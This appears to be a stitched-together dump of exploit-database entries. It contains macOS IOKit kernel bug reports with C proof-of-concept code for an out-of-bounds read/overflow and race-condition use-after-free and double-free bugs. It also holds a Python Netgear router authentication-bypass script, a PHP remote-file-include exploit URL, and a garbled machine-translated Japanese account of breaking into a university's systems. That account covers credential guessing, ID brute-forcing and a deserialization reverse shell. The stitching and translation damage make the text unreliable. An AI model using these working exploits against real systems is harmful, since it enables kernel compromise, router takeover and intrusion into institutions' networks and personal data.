change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer.
Since the struct input comes from a mach message this heap grooming shouldn't be that difficult.
clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit
repro: while true; ./ig_gl_gst_oob_read; done
Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
// ianbeer
/*
Lack of bounds checking in gst_configure leads to kernel buffer overflow due to toctou (plus kernel memory disclosure)
The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure
(passed in rsi) but doesn't check the size of that structure (passed in rcx.)
__text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near
__text:000000000002A366 ; DATA XREF: __const:000000000005BF88o
__text:000000000002A366 push rbp
__text:000000000002A367 mov rbp, rsp
__text:000000000002A36A push r15
__text:000000000002A36C push r14
__text:000000000002A36E push r12
__text:000000000002A370 push rbx
__text:000000000002A371 mov rax, rdx
__text:000000000002A374 mov r15, rsi ; <-- r15 points to controlled mach message data
__text:000000000002A377 mov r14, rdi
__text:000000000002A37A mov edx, [r15+800h] ; <-- size never checked -> oob read
__text:000000000002A381 cmp edx, 200h
__text:000000000002A387 jbe short loc_2A3AD
__text:000000000002A389 lea rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"...
__text:000000000002A390 lea rsi, aGst_configure ; "gst_configure"
__text:000000000002A397 mov ecx, 200h
__text:000000000002A39C xor eax, eax
__text:000000000002A39E call _IOLog
here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200.
This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach
message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read.
The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log
which we can read from userspace allowing us to disclose some kernel memory.
However, we can do more:
r15 is passed to IntelAccelerator::gstqConfigure:
mov rsi, r15
call __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec
where we reach the following code:
__text:000000000001DC29 mov edx, [rsi+800h]
__text:000000000001DC2F shl rdx, 2 ; size_t
__text:000000000001DC33 lea rdi, _gstCustomCounterConfigPair ; void *
__text:000000000001DC3A call _memcpy
here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but
since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can
change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer.
Since the struct input comes from a mach message this heap grooming shouldn't be that difficult.
clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit
repro: while true; ./ig_gl_gst_oob_read; done
Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
inputScalarCnt = 0;
inputStructCnt = 0;
outputScalarCnt = 0;
outputStructCnt = 0;
inputStructCnt = 0x30;
err = IOConnectCallMethod(
conn,
0x205, //gst_operation
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
printf("that was an error in the first call, don't care!\n");
}
inputStructCnt = 0x1;
err = IOConnectCallMethod(
conn,
0x206, //gst_configure
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
return 0;
}
}
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=597
It turns out that the spoofed no-more-senders notification bug when applied to iokit objects
was actually just a more complicated way to hit ::clientClose in parallel. We can in fact
do this very simply by calling IOServiceClose on two threads :)
Like the spoofed notifications this leads to many bugs in many userclients, the exact nature
of which depends on the semantics of the clientClose implementation.
In this particular case we hit a kernel UaF.
Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2
repro: while true; do ./ioparallel_close; done
*/
// ianbeer
// clang -o ioparallel_close ioparallel_close.c -lpthread -framework IOKit
/*
io_service_close leads to potentially dangerous IOKit methods being called without locks
It turns out that the spoofed no-more-senders notification bug when applied to iokit objects
was actually just a more complicated way to hit ::clientClose in parallel. We can in fact
do this very simply by calling IOServiceClose on two threads :)
Like the spoofed notifications this leads to many bugs in many userclients, the exact nature
of which depends on the semantics of the clientClose implementation.
In this particular case we hit a kernel UaF.
Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2
repro: while true; do ./ioparallel_close; done
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
io_connect_t conn = MACH_PORT_NULL;
int start = 0;
void close_it(io_connect_t conn) {
IOServiceClose(conn);
}
void go(void* arg){
while(start == 0){;}
usleep(1);
close_it(*(io_connect_t*)arg);
}
int main(int argc, char** argv) {
char* service_name = "IntelAccelerator";
int client_type = 4;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
if (service == MACH_PORT_NULL) {
printf("can't find service\n");
return 0;
}
IOServiceOpen(service, mach_task_self(), client_type, &conn);
if (conn == MACH_PORT_NULL) {
printf("can't connect to service\n");
return 0;
}
pthread_t t;
io_connect_t arg = conn;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
usleep(100000);
start = 1;
close_it(conn);
pthread_join(t, NULL);
return 0;
}
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=598
The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function:
kern_return_t is_io_registry_iterator_exit_entry(
io_object_t iterator )
{
bool didIt;
CHECK( IORegistryIterator, iterator, iter );
didIt = iter->exitEntry();
return( didIt ? kIOReturnSuccess : kIOReturnNoDevice );
}
exitExtry is defined as follows:
bool IORegistryIterator::exitEntry( void )
{
IORegCursor * gone;
if( where->iter) {
where->iter->release();
where->iter = 0;
if( where->current)// && (where != &start))
where->current->release();
}
if( where != &start) {
gone = where;
where = gone->next;
IOFree( gone, sizeof(IORegCursor));
return( true);
} else
return( false);
}
There are multiple concurrency hazards here; for example a double free of where if two threads
enter at the same time.
These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes
on OS X and iOS.
Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2
Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro
repro: while true; do ./ioparallel_regiter; done
*/
// ianbeer
// clang -o ioparallel_regiter ioparallel_regiter.c -lpthread -framework IOKit
/*
OS X and iOS kernel double free due to lack of locking in iokit registry iterator manipulation
The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function:
kern_return_t is_io_registry_iterator_exit_entry(
io_object_t iterator )
{
bool didIt;
CHECK( IORegistryIterator, iterator, iter );
didIt = iter->exitEntry();
return( didIt ? kIOReturnSuccess : kIOReturnNoDevice );
}
exitExtry is defined as follows:
bool IORegistryIterator::exitEntry( void )
{
IORegCursor * gone;
if( where->iter) {
where->iter->release();
where->iter = 0;
if( where->current)// && (where != &start))
where->current->release();
}
if( where != &start) {
gone = where;
where = gone->next;
IOFree( gone, sizeof(IORegCursor));
return( true);
} else
return( false);
}
There are multiple concurrency hazards here; for example a double free of where if two threads
enter at the same time.
These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes
on OS X and iOS.
Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2
Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro
repro: while true; do ./ioparallel_regiter; done
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
int start = 0;
void exit_it(io_iterator_t iter) {
IORegistryIteratorExitEntry(iter);
}
void go(void* arg){
while(start == 0){;}
usleep(1);
exit_it(*(io_iterator_t*)arg);
}
int main(int argc, char** argv) {
kern_return_t err;
io_iterator_t iter;
err = IORegistryCreateIterator(kIOMasterPortDefault, kIOServicePlane, 0, &iter);
if (err != KERN_SUCCESS) {
printf("can't create reg iterator\n");
return 0;
}
IORegistryIteratorEnterEntry(iter);
pthread_t t;
io_connect_t arg = iter;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
usleep(100000);
start = 1;
exit_it(iter);
pthread_join(t, NULL);
return 0;
}
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=599
OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose
Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1:
__text:0000000000005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this)
__text:0000000000005B38 public __ZN26IOHDIXControllerUserClient11clientCloseEv
__text:0000000000005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near
__text:0000000000005B38 ; DATA XREF: __const:000000000000F820o
__text:0000000000005B38 push rbp
__text:0000000000005B39 mov rbp, rsp
__text:0000000000005B3C push rbx
__text:0000000000005B3D push rax
__text:0000000000005B3E mov rbx, rdi
__text:0000000000005B41 mov rax, [rbx]
__text:0000000000005B44 xor esi, esi
__text:0000000000005B46 call qword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int)
__text:0000000000005B4C mov qword ptr [rbx+208h], 0
__text:0000000000005B57 mov qword ptr [rbx+1F8h], 0
__text:0000000000005B62 mov rdi, [rbx+200h] ; <-- this+0x200 --+
__text:0000000000005B69 call _vfs_context_rele ; pass to vfs_context_rele +- should be locked!
__text:0000000000005B6E mov qword ptr [rbx+200h], 0 ; NULL out this+0x200 --+
__text:0000000000005B79 xor eax, eax
__text:0000000000005B7B add rsp, 8
__text:0000000000005B7F pop rbx
__text:0000000000005B80 pop rbp
__text:0000000000005B81 retn
At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele:
int
vfs_context_rele(vfs_context_t ctx)
{
if (ctx) {
if (IS_VALID_CRED(ctx->vc_ucred))
kauth_cred_unref(&ctx->vc_ucred);
kfree(ctx, sizeof(struct vfs_context));
}
return(0);
}
This code drop the ref which the context object holds on the credential it holds then it frees the vfs context;
Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer
before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference
on the credential and double free the vfs_context.
This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop.
Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2
*/
// ianbeer
// clang -o ioparallel_closehdix ioparallel_closehdix.c -lpthread -framework IOKit
/*
OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose
Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1:
__text:0000000000005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this)
__text:0000000000005B38 public __ZN26IOHDIXControllerUserClient11clientCloseEv
__text:0000000000005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near
__text:0000000000005B38 ; DATA XREF: __const:000000000000F820o
__text:0000000000005B38 push rbp
__text:0000000000005B39 mov rbp, rsp
__text:0000000000005B3C push rbx
__text:0000000000005B3D push rax
__text:0000000000005B3E mov rbx, rdi
__text:0000000000005B41 mov rax, [rbx]
__text:0000000000005B44 xor esi, esi
__text:0000000000005B46 call qword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int)
__text:0000000000005B4C mov qword ptr [rbx+208h], 0
__text:0000000000005B57 mov qword ptr [rbx+1F8h], 0
__text:0000000000005B62 mov rdi, [rbx+200h] ; <-- this+0x200 --+
__text:0000000000005B69 call _vfs_context_rele ; pass to vfs_context_rele +- should be locked!
__text:0000000000005B6E mov qword ptr [rbx+200h], 0 ; NULL out this+0x200 --+
__text:0000000000005B79 xor eax, eax
__text:0000000000005B7B add rsp, 8
__text:0000000000005B7F pop rbx
__text:0000000000005B80 pop rbp
__text:0000000000005B81 retn
At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele:
int
vfs_context_rele(vfs_context_t ctx)
{
if (ctx) {
if (IS_VALID_CRED(ctx->vc_ucred))
kauth_cred_unref(&ctx->vc_ucred);
kfree(ctx, sizeof(struct vfs_context));
}
return(0);
}
This code drop the ref which the context object holds on the credential it holds then it frees the vfs context;
Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer
before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference
on the credential and double free the vfs_context.
This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop.
Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2
repro: while true; do ./ioparallel_closehdix; done
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
io_connect_t conn = MACH_PORT_NULL;
int start = 0;
void close_it(io_connect_t conn) {
IOServiceClose(conn);
}
void go(void* arg){
while(start == 0){;}
usleep(1);
close_it(*(io_connect_t*)arg);
}
int main(int argc, char** argv) {
char* service_name = "IOHDIXController";
int client_type = 0;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
if (service == MACH_PORT_NULL) {
printf("can't find service\n");
return 0;
}
IOServiceOpen(service, mach_task_self(), client_type, &conn);
if (conn == MACH_PORT_NULL) {
printf("can't connect to service\n");
return 0;
}
pthread_t t;
io_connect_t arg = conn;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
usleep(100000);
start = 1;
close_it(conn);
pthread_join(t, NULL);
return 0;
}
Source: https://code.google.com/p/google-security-research/issues/detail?id=603
Panic log attached
OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39364.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=604
Panic log attached
OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39363.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=605
Panic log attached
OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39362.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=606
Panic log attached
OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39361.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=607
Panic log attached
OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39360.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=608
Panic log attached
OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39359.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=618
The _ool variations of the IOKit device.defs functions all incorrectly deal with error conditions.
If you run the mig tool on device.defs you can see the source of the kernel-side MIG handling code; here
is the relevant generated code for io_service_get_matching_services_ool:
mig_internal novalue _Xio_service_get_matching_services_ool
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
... // some typedefs
Request *In0P = (Request *) InHeadP;
Reply *OutP = (Reply *) OutHeadP;
kern_return_t RetCode;
io_object_t existing; <-- (a)
... // check the input types
RetCode = is_io_service_get_matching_services_ool(In0P->Head.msgh_request_port, (io_buf_ptr_t)(In0P->matching.address), In0P->matchingCnt, &OutP->result, &existing); <-- (b)
if (RetCode != KERN_SUCCESS) {
MIG_RETURN_ERROR(OutP, RetCode);
}
OutP->existing.name = (mach_port_t)iokit_make_object_port(existing); <-- (c)
At (a) it declares an io_object_t existing on the stack (io_object_t is just a pointer.) It then passes the address of that local to is_io_service_get_matching_services_ool, and if that
function succeeds passes the value of existing to iokit_make_object_port. Here's is_io_service_get_matching_services_ool (which importantly is NOT generated code):
/* Routine io_service_get_matching_services_ool */
kern_return_t is_io_service_get_matching_services_ool(
mach_port_t master_port,
io_buf_ptr_t matching,
mach_msg_type_number_t matchingCnt,
kern_return_t *result,
io_object_t *existing )
{
kern_return_t kr;
vm_offset_t data;
vm_map_offset_t map_data;
kr = vm_map_copyout( kernel_map, &map_data, (vm_map_copy_t) matching );
data = CAST_DOWN(vm_offset_t, map_data);
if( KERN_SUCCESS == kr) {
// must return success after vm_map_copyout() succeeds
*result = internal_io_service_get_matching_services(master_port,
(const char *) data, matchingCnt, existing);
vm_deallocate( kernel_map, data, matchingCnt );
}
return( kr );
}
Note here that it returns kr which *only* indicates if the vm_map_copyout failed. This will of course succeed so the return value of this function
will always be KERN_SUCCESS, even if internal_io_service_get_matching_services fails... Let's look at that function:
static kern_return_t internal_io_service_get_matching_services(
mach_port_t master_port,
const char * matching,
mach_msg_type_number_t matching_size,
io_iterator_t *existing )
{
kern_return_t kr;
OSObject * obj;
OSDictionary * dict;
if( master_port != master_device_port)
return( kIOReturnNotPrivileged);
obj = matching_size ? OSUnserializeXML(matching, matching_size)
: OSUnserializeXML(matching);
if( (dict = OSDynamicCast( OSDictionary, obj))) {
*existing = IOService::getMatchingServices( dict );
kr = kIOReturnSuccess;
} else
kr = kIOReturnBadArgument;
if( obj)
obj->release();
return( kr );
}
Indeed, if this function fails it doesn't set existing to a safe value but does return an error code. However, the _ool variation ignores this error code (it
just returns it to userspace via the result parameter.) This means that the generated code thinks that is_io_service_get_matching_services_ool succeed
and it therefore pass existing in iokit_make_object_port which will eventually (if the uninitialized value wasn't NULL) call a virtual function on it
(taggedRetain) when adding the object to the dictionary storing all iokit user objects.
All of the _ool variations of IOKit API's have this problem; PoCs are included for all of them but they may or may not crash depending on the
state of the stack.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39358.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=620
I wanted to demonstrate that these iOS/OS X kernel race condition really are exploitable so here's a PoC
which gets RIP on OS X. The same techniques should transfer smoothly to iOS :)
The bug is here:
void IORegistryIterator::reset( void )
{
while( exitEntry())
{}
if( done) {
done->release();
done = 0;
}
where->current = root;
options &= ~kIORegistryIteratorInvalidFlag;
}
We can call this from userspace via the IOIteratorReset method.
done is an OSOrderedSet* and we only hold one reference on it; therefore we can race two threads
to both see the same value of done, one will free it but before it sets done to NULL the other will
call ->release on the now free'd OSOrderedSet.
How to get instruction pointer control?
The XNU kernel heap seems to have been designed to make this super easy :) When the first thread frees
done zalloc will overwrite the first qword of the allocation with the freelist next pointer (and the last qword
with that pointer xor'd with a secret.) This means that what used to be the vtable pointer gets overwritten
with a valid pointer pointing to the last object freed to this zone. If we can control that object then
the qword at +0x28 will be called (release is at offset +0x28 in the OSObject vtable which is the base
of all IOKit objects including OSOrderedSet.)
This PoC uses OSUnserializeXML to unserialize an OSData object with controlled contents then free it, which
puts a controlled heap allocation at the head of the kalloc.80 freelist giving us pretty easy instruction pointer control.
I've attached a panic log showing kernel RIP at 0xffffff8041414141. You will probably have to fiddle with the
PoC a bit to get it to work, it's only a PoC but it does work! (I have marked the value to fiddle with :) )
As a hardening measure I would strongly suggest at the very least flipping the location of the obfuscated and
unobfuscate freelist pointers such that the valid freelist pointer doesn't overlap with the location of the
vtable pointer.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39357.zip
'''
# Exploit Title: Netgear_WNR1000v4_AuthBypass
# Google Dork: -
# Date: 06.10.2015
# Exploit Author: Daniel Haake
# Vendor Homepage: http://www.netgear.com/
# Software Link: http://downloadcenter.netgear.com/en/product/WNR1000v4
# Version: N300 router firmware versions 1.1.0.24 - 1.1.0.31
# Tested on: Can be exploited using a browser
# CVE : requested
Introduction:
-------------
Multiple NETGEAR wireless routers are out of the box vulnerable
to an authentication bypass attack. No router options has to
be changed to exploit the issue. So an attacker can access the administration
interface of the router without submitting any valid username and
password, just by requesting a special URL several times.
Affected:
---------
- Router Firmware: N300_1.1.0.31_1.0.1.img
- Router Firmware; N300-1.1.0.28_1.0.1.img
- Router Firmware; N300-1.1.0.24_1.0.1.img
- tested and confirmed on the WNR1000v4 Router with both firmwares
- other products may also be vulnerable because the firmware is used in multiple devices
Technical Description:
----------------------
The attacker can exploit the issue by using a browser or writing a simple exploit.
1. When a user wants to access the web interface, a http basic authentication login process is initiated
2. If he does not know the username and password he gets redirected to the 401_access_denied.htm file
3. An attacker now has to call the URL http://<ROUTER-IP>/BRS_netgear_success.html multiple times
-> After that if he can access the administration web interface and there is no username/password prompt
Example Python script:
----------------------
'''
import os
import urllib2
import time
import sys
try:
first = urllib2.urlopen("http://" + sys.argv[1])
print "No password protection!"
except:
print "Password protection detected!"
print "Executing exploit..."
for i in range(0,3):
time.sleep(1)
urllib2.urlopen("http://" + sys.argv[1] + "/BRS_netgear_success.html")
second = urllib2.urlopen("http://" + sys.argv[1])
if second.getcode() == 200:
print "Bypass successfull. Now use your browser to have a look at the admin interface."
'''
Workaround/Fix:
---------------
None so far. A patch already fixing this vulnerability was developed by Netgear but not released so far
(see timeline below).
Timeline:
---------
Vendor Status: works on patch-release
'''
21.07.2015: Vendor notified per email (security@netgear.com)
-> No response
23.07.2015: Vendor notified via official chat support
24.07.2015: Support redirected notification to the technical team
29.07.2015: Requested status update and asked if they need further assistance
-> No response
21.08.2015: Notified vendor that we will go full disclosure within 90 days if they do not react
03.09.2015: Support again said that they will redirect it to the technical team
03.09.2015: Netgear sent some beta firmware version to look if the vulnerability is fixed
03.09.2015: Confirmed to Netgear that the problem is solved in this version
Asked Netgear when they plan to release the firmware with this security fix
11.09.2015: Response from Netgear saying they will not disclose the patch release day
15.09.2015: Asked Netgear again when they plan to publish the security fix for the second time
-> No response
29.09.2015: Full disclosure of this vulnerability by SHELLSHOCK LABS
06.10.2015: Forced public release of this advisory to follow up on [2]
References:
-----------
[1] http://support.netgear.com/product/WNR1000v4
[2] http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html
# Title: Ramui web hosting directory script 4.0 Remote File Include Vulnerability
# Author: bd0rk
# Twitter: twitter.com/bd0rk
# Vendor: http://www.ramui.com
# Download: http://ramui.com/directory-script/download-v4.html
Proof-of-Concept:
/gb/include/connection.php lines 6-13 in php-sourcecode
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
class connection
{
protected $site;
public $error=false;
protected $admin=false;
function __construct($root)
{
include $root."database/config.php";
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The $root-parameter is a __construct.
But no value was passed to him.
Therefore, nothing can be checked before include in line 13.
So an attacker can execute malicious shellcode about it.
In this case, the __construct is meaningless.
[+]Exploit: http://[server]/path/gb/include/connection.php?root=[YourShellcode]
~~Everything revolves. Even the planet. :)~~
***Greetz to ALL my followers on Twitter!***
/bd0rk
0x01情報収集
まず、指定されたターゲットはxxx大学の公式ウェブサイト:wwwww.xxx.edu.cnですが、実際にはメインサイトだけをテストしないでください。一般に、このようなメインサイトは比較的安全であり、一部のサイトグループシステムを使用する可能性があります。多くの学校がBodaの統一管理を使用しています。
1.サブドメイン名収集
は、サブドメイン3、ファズドメイン、サブドメインブルート、seayサブドメイン名を爆破するために使用できます
しかし、私はこの浸透で上記を使用せず、爆破時間は長すぎました。
私はこれらのFOFA、Shadon、およびこれらのサイバースペース検索エンジンを使用しています
たとえば、次の写真:
host='xxxx.edu.cn'
2.ポート情報
上記のFOFA結果を介して、ポートスキャンツールを使用してIPアドレスとスキャンを学習できます。利用可能なポートは見つかりません
ただし、多くのWebサイトにはこのIPがあります。
その後、ポートをあきらめます
3.感受性情報収集
Github検索GoogleハッキングLingfengyunネットワークディスク検索で、いくつかの繊細なものを収集しませんでした。メールアドレスはTencentの企業メールアドレスであり、VPNは次のようになります
収集されたメールアカウントの一部は次のとおりでした
Webサイトを閲覧して、いくつかのイントラネットシステムのコルプス
統一認証プラットフォームのプロンプトを表示することにより、一部のソーシャルワーカーは、学生番号を使用してIDカードを追加した後に学生がログインできることを知っています(デフォルトのパスワード)
だから私は学生番号の波を収集してバックアップしました
site:xxx.edu.cn学生ID
0x02脆弱性マイニング
必要な情報の一部を収集した後、各サブドメインを掘り始めました。長い間検索した後、ほとんどのシステムは、比較的単一の機能を備えた統一テンプレートを使用し、抜け穴は見つかりませんでした。
site:xxx.edu.cn inurl:login
site:xxx.edu.cn intitle:login
次に、いくつかのログインシステムに焦点を当てました
その後、ログインするシステムが見つかりました
この時点で、私は彼のプロンプトを思い出しました。ユーザー名とパスワードは私の仕事番号です。つまり、ここに教師の仕事番号情報があるかもしれませんが、私はただ幸運です。このシステムのシステム管理者アカウントは、パスワードが弱いです。
管理者が背景に入った後、ユーザー情報を見つけて、教師のアカウントが5桁であることを知ります。アドレスバーにアクションがあることがわかります。 STR2をテストした後、Webページを更新しましたが、開くことができませんでした。私は視覚的にIPがブロックされていることを発見しました.
次に、ユーザーのルールを知った後、辞書のバックアップとして使用するスクリプトを書きました
#!/usr/bin/env python
# - * - Coding:UTF-8-* -
#DateTime :2019/7/10 8:44
begin_num=0#数字から開始パラメーター生成を開始します
end_num=20000#endパラメーター停止nthパラメーター
印刷( '' ''
スクリプトを実行した後、5.txtはスクリプトが配置されているディレクトリで生成され、生成された番号が保存されます。
'' ')
範囲のi(begin_num、end_num + 1):
I 10:の場合
i='0000' + str(i)
Elif I 100:
i='000' + str(i)
Elif I 1000:
i='00' + str(i)
Elif I 10000:
i='0'+str(i)
f: as open( '5.txt'、 'a')
f.write(str(i) + '\ n')
print( 'プログラムが実行され、ファイルが生成されました')
次に、この背景に注入を見つけてアップロードしましたが、それは実りがありませんでしたので、テキストに記録し、別のドメイン名に変更しました。
次に、コース選択システムをご覧ください
は、学生アカウントをアカウントのパスワードとして使用し、正常にログインすることです
は役に立たないようですが、これについて気分が悪くなっているのは、テストをアップロードしたときにスクリプト形式の接尾辞を変更し、データパケットを送信できなかったことです。その結果、私は更新するためにWebページに戻り、リンクがリセットされました.そうです、私は再びIPで禁止されました.
それから私は教師アカウントを破ろうとしました、そして同じアカウントがパスワードとして使用されました
入った後、私は周りを見回しましたが、まだ進歩することができませんでした
同様に、私は大学院管理システムと学生支払いクエリシステムに入りました(実際にはただのクエリでした.)、最終的にFinancial XXシステムで少し進歩しました。
はい、それを正しく読んで、ID番号を読んだので、私は精神遅滞で100回試してみて、IDカードを含む14の教師アカウントを取得しましたが、それらはすべて退職した教師のように見えます。
それから私はログインを試してみるために統一されたID認証プラットフォームに来ましたが、ログインしました.(アカデミックアフェアーズはログインできません)
ここで始めましたが、これはブレークスルーと見なされました。このブレークスルーポイントなど、ここの一部のシステムは認証なしでは開くことができないため:アパートメント管理システム
認証前に:を開きます
認証後に開く:
実際には許可がありません.クリックしてもう一度ログインすると、このシステム
にアクセスできます。これにより、このシステムは統一された認証プラットフォームにログインしたユーザーが使用できることも証明しました。その後、このシステムにはJavaの敏lialializationの脆弱性があることが起こります
したがって、この敏arialializationの脆弱性(Shiro Deserialization)を通じて、リバウンドシェルが取得され、マシンはルート許可です
その後、エージェントトラフィックはその背後にあります。犬の穴を使用する場合、これ以上の話を無駄にしません.
それから私は今まで見たことがないWAFを見つけました
驚き、2番目のマスターが駅を守り、後退し、ごめんなさい、邪魔をしました。
0x03要約
